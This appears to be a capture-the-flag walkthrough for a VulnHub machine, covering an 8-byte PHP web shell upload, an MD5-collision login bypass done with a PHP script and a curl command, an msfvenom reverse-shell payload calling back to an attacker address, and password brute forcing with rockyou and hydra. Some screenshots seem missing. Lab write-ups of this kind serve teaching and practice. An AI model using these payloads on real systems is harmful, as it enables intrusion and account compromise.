This is a walkthrough on the CTF written by Min Ko Ko (Creatigon, l33twebhacker) and posted on vulnhub on 6 Dec 2017
Target: 10.1.13.37 Like the author states, This challenge is not for beginners. It requires advanced knowledge in several fields which a beginner would not be able to solve unless thorough research is done. Initial hint: The user agent that needs to be set is included on the front page, but you would not be able to see it in plaintext. Hint on step 2: Research on the shortest way to execute a command via the php parser. With the right terms, you should get a twitter post as a first result on google. Hint on step 3: Research md5 collisions and how to generate some pairs. You do not need to completely understand the methodology. There are tools for generating md5 collisions. Remember that there aren’t any known preimage attacks on md5 so you will need to figure out how to pass values as a binary data through php. Be sure to check out my post on md5 collisions and the way php interprets types (php hash collisions)* * to avoid giving a misleading advise, note that the answer is not actually in php collisions themselves Hint on Privilege Escalation: You’ll have to go through 2 steps for this. And you may need to be very patient on one of them.
Initial step: Getting a starting point
Personally I’ve been staring for days on all the possible wrong places, like looking at the source code and trying to figure out what the message in the robots.txt file means:




Step 2: Bypassing limitations
The myuploader_priv folder contains a file upload form which has a byte length restriction:
<?=`ls`;An 8-byte file containing valid php source code, listing the directory contents of the directory where the uploaded files are stored:



Step 3: Now you got a challenge (md5 collisions)
The form located at http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ takes 3 POST form parameters and has a link at the top allowing to download a backup of the index.php file itself, which contains the following code:
< ?php session_start(); error_reporting(0); if (@$_POST['username'] and @$_POST['password'] and @$_POST['code']) { $username = (string)$_POST['username']; $password = (string)$_POST['password']; $code = (string)$_POST['code']; if (($username == $password ) or ($username == $code) or ($password == $code)) { echo 'Your input can not be the same.'; } else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) { $_SESSION["secret"] = '133720'; header('Location: admin.php'); exit(); } else { echo "<pre> Invalid password</pre>"; } } ?>The authentication mechanism of the form is to check the md5 hashes of the three provided values, compare them and return a valid session in case the hashes are identical. The trick here is that you can’t just pass equal values on the form and get the same md5 hashes as there is a pre-check that validates the input and requires the values of the fields to be different. As the variables are cast php type juggling won’t work in here, for more information what php type juggling is refer to my post on md5 collisions and the way php interprets types (php hash collisions) So what we need here is to either steal someone else’s session or generate real md5 collisions. As I researched preimage attacks and md5 collisions and since preimage attacks are not currently feasible, and the script requires an md5 string to be passed to it I decided that the solution most likely lies in a session hijack. The 133720 string also seemed to me suspicious and splitting it into 2 pairs it might look like a timestamp – 13:37:20. So my theory was an admin would log in to the system at this time so his session ID could be sniffed and passed to the browser. However I was wrong. I left this step as I felt really stuck on this and went on other stuff to do until @kartone pointed me to a resource who has been given to him as an advise on solving this. The solution is to generate md5 collisions using a collision generator like Python MD5 Collision Library by Stephen Halmor hashclash by Marc Stevens to generate a pair of collisions and attach them to the POST query as binary data. This can either be done on any programming language by sending a POST query to the server or just by using curl from the command line. During my tests I did it at first just by using a simple php script which reads three different files that collide, however as I got curious about how this can be done through the command-line curl I reproduced it using it at a later stage.

<? php $pfields = array(); for ($i = 0; $i < 3; $i++) { $f = "/tmp/python-md5-collision/out_test_00" . $i . ".txt"; $fp = fopen($f, "r"); $arr[$i] = fread($fp, filesize($f)); } $pfields['username'] = $arr[0]; $pfields['password'] = $arr[1]; $pfields['code'] = $arr[2]; $pfields['remember'] = '1'; $pfields['login'] = 'Login'; $ch = curl_init("http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pfields)); curl_setopt($ch, CURLOPT_HEADER, 1); curl_exec($ch);Way #2: curl (command-line):
curl --data-urlencode username@/tmp/python-md5-collision/out_test_001.txt --data-urlencode password@/tmp/python-md5-collision/out_test_002.txt --data-urlencode code@/tmp/python-md5-collision/out_test_003.txt --data-urlencode "remember=1&login=Login" http://10.1.13.37/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -iFor more information on the above syntax look at the curl HTTP Post documentation



msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST=10.1.13.237 LPORT=443 -e x86/shikata_ga_nai -b '\x00' -f elf > pshell.bin

Privilege Escalation
The target is running an x64 kernel and there isn’t much useful stuff for the 32-bit version of this kernel nor I could enumerate any vulnerable packages installed. It lacks the gcc compiler so any exploit you try should be compiled statically or in a replicated environment. The enumeration however discloses some useful information, specifically a user named “downfall” with a hint left in a file named todo.txt within the user’s home directory:
find / -type f -user root -group downfall 2>/dev/null




grep -x '.\{8,16\}' rockyou.txt > rockyou_8to16.txt (get words of length from 8 to 16 characters)
grep -x '.\{14\}' rockyou.txt > rockyou_8to16.txt (get words of length min 14 characters)(not sure what kind of list actually used when discovering the password as it became a total mess of wordlists. But waiting hydra just to do its job would have just taken days. Eventually at some point, I did see the note left in the description from the author while waiting as I began to feel stuck on this – “If you got big stuck, Try with Password start with “sec*” with nice wordlist.)




